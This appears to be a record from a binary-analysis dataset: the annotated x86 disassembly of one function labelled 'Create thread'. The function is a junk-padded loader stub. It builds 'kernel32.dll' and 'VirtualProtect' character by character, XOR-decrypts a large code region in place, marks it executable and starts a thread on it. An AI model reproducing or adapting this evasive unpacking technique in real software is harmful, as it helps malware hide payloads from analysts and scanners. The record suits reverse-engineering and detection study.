Function at 0x77d456
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor ebx, 0x5c68abe9
xor ebx, 0x5c68abe9
popfd
pushfd
xor ecx, 0x5cf0611f
xor ecx, 0x5cf0611f
popfd
call fcn.0077d832
push esi
pop esi
pushfd
push edi
add esp, 4
popfd
lea eax, [ebp - 0xd8]
xchg ecx, ecx
push esi
pop esi
mov ebx, 0x61
pushfd
inc edi
dec edi
popfd
add bx, 0xa
xchg ebx, edi
xchg edi, ebx
mov word [eax], bx
pushfd
push 0x6213fd72
add esp, 4
popfd
sub bx, 6
pushfd
push edi
add esp, 4
popfd
pushfd
push 0x80c1b1fc
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
push 0x94e811f8
add esp, 4
popfd
add bx, 0xd
pushfd
xor ebx, 0x685df498
xor ebx, 0x685df498
popfd
xchg ecx, edx
xchg edx, ecx
mov word [eax + 4], bx
pushfd
push 0x244e72a3
add esp, 4
popfd
sub bx, 4
xchg edi, eax
xchg edi, eax
mov word [eax + 6], bx
pushfd
push esi
add esp, 4
popfd
push ebx
pop ebx
sub bx, 9
xchg ecx, edx
xchg edx, ecx
mov word [eax + 8], bx
pushfd
inc ecx
dec ecx
popfd
add bx, 7
push esi
push edx
pop edx
pop esi
xchg edx, ecx
xchg ecx, edx
mov word [eax + 0xa], bx
xchg edi, eax
xchg edi, eax
pushfd
inc ebx
dec ebx
popfd
sub bx, 0x39
pushfd
push eax
add esp, 4
popfd
mov word [eax + 0xc], bx
pushfd
xor eax, 0x72037fa7
xor eax, 0x72037fa7
popfd
dec bx
pushfd
push eax
add esp, 4
popfd
mov word [eax + 0xe], bx
pushfd
push 0x29a1af9c
add esp, 4
popfd
sub bx, 4
push ecx
pop ecx
pushfd
inc esi
dec esi
popfd
mov word [eax + 0x10], bx
pushfd
push eax
add esp, 4
popfd
add bx, 0x36
mov edi, edi
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x12], bx
xchg edx, ecx
xchg ecx, edx
xchg ecx, ebx
xchg ebx, ecx
add bx, 8
pushfd
push eax
add esp, 4
popfd
pushfd
push 0xca141069
add esp, 4
popfd
mov word [eax + 0x14], bx
mov eax, eax
mov word [eax + 0x16], bx
push eax
pop eax
mov ecx, ecx
mov word [eax + 0x18], 0
pushfd
inc edi
dec edi
popfd
pushfd
inc ecx
dec ecx
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
inc ecx
dec ecx
popfd
mov dword [ebp - 0x10], eax
mov ecx, ecx
lea eax, [ebp - 0xd8]
push edi
pop edi
mov ebx, 0x61
xchg ecx, eax
xchg ecx, eax
sub bl, 0xb
pushfd
inc eax
dec eax
popfd
mov byte [eax], bl
pushfd
inc edi
dec edi
popfd
push edi
pop edi
add bl, 0x13
nop
mov byte [eax + 1], bl
pushfd
push edi
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
add bl, 9
nop
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 2], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
push ebx
add esp, 4
popfd
add bl, 2
push esi
pop esi
mov esi, esi
mov byte [eax + 3], bl
push edi
pop edi
push esi
push ebx
pop ebx
pop esi
inc bl
mov ebx, ebx
mov byte [eax + 4], bl
xchg edi, esi
xchg esi, edi
sub bl, 0x14
pushfd
push 0x66a54eae
add esp, 4
popfd
mov byte [eax + 5], bl
xchg edx, edx
add bl, 0xb
xchg ecx, ebx
xchg ebx, ecx
pushfd
inc esi
dec esi
popfd
mov byte [eax + 6], bl
pushfd
push eax
add esp, 4
popfd
push ecx
pop ecx
sub bl, 0x1c
pushfd
push ecx
add esp, 4
popfd
push esi
pop esi
mov byte [eax + 7], bl
push edx
pop edx
xchg ecx, eax
xchg ecx, eax
add bl, 0x22
pushfd
push 0xe3fe1328
add esp, 4
popfd
mov byte [eax + 8], bl
xchg ebx, ebx
pushfd
xor edi, 0xf1ee2494
xor edi, 0xf1ee2494
popfd
sub bl, 3
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x25129514
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
push 0x962b31ba
add esp, 4
popfd
add bl, 5
push edi
pop edi
mov byte [eax + 0xa], bl
push eax
push ebx
pop ebx
pop eax
sub bl, 0xf
pushfd
push ecx
add esp, 4
popfd
push edi
pop edi
mov byte [eax + 0xb], bl
pushfd
xor edx, 0xc80a226b
xor edx, 0xc80a226b
popfd
sub bl, 2
pushfd
push 0xaf8f7574
add esp, 4
popfd
mov eax, eax
mov byte [eax + 0xc], bl
pushfd
xor edx, 0xa95fc2c0
xor edx, 0xa95fc2c0
popfd
add bl, 0x11
xchg ecx, ecx
mov byte [eax + 0xd], bl
xchg edi, edi
mov byte [eax + 0xe], 0
push edi
push esi
pop esi
pop edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov eax, eax
xchg ecx, eax
xchg ecx, eax
mov dword [ebp - 0xc], eax
pushfd
push 0xf43db535
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
push 0x5a661441
add esp, 4
popfd
pushfd
push 0x87fa2325
add esp, 4
popfd
push eax
push 4
push 0x252d85
push entry0
call dword [ebp - 0xc]
xchg edi, esi
xchg esi, edi
pushfd
inc eax
dec eax
popfd
mov edi, entry0
xchg ebx, ebx
mov esi, 0x40100e
nop
mov ecx, 0x252d85
pushfd
push 0xccc6fc6e
add esp, 4
popfd
xchg edx, esi
xchg esi, edx
mov edx, 0x23adac2d
nop
mov ebx, 0xd20e697a
pushfd
xor eax, 0x6d231547
xor eax, 0x6d231547
popfd
cld
mov edx, edx
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
mov edx, edx
stosb byte es:[edi], al
mov ebx, ebx
ror edx, 5
xchg edx, edx
imul edx, edx, 7
xchg edi, edi
test ebx, 1
mov esi, esi
je 0x77d7a2
xchg edx, edx
add esi, 1
xchg esi, esi
ror ebx, 1
xchg ecx, ecx
dec ecx
xchg ecx, ecx
test ecx, ecx
mov esi, esi
jne 0x77d77b
pushfd
push 0x90afc6ef
add esp, 4
popfd
xchg ecx, edx
xchg edx, ecx
lea eax, [ebp - 8]
xchg esi, edi
xchg edi, esi
push eax
push 0x20
push 0x252d85
push entry0
call dword [ebp - 0xc]
pushfd
inc eax
dec eax
popfd
push ecx
push esi
pop esi
pop ecx
lea eax, [ebp - 4]
pushfd
inc eax
dec eax
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
inc edi
dec edi
popfd
xchg ecx, eax
xchg ecx, eax
xchg ebx, ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
xor edi, 0x48c3ec65
xor edi, 0x48c3ec65
popfd
mov esi, esi
jmp 0x77d7fd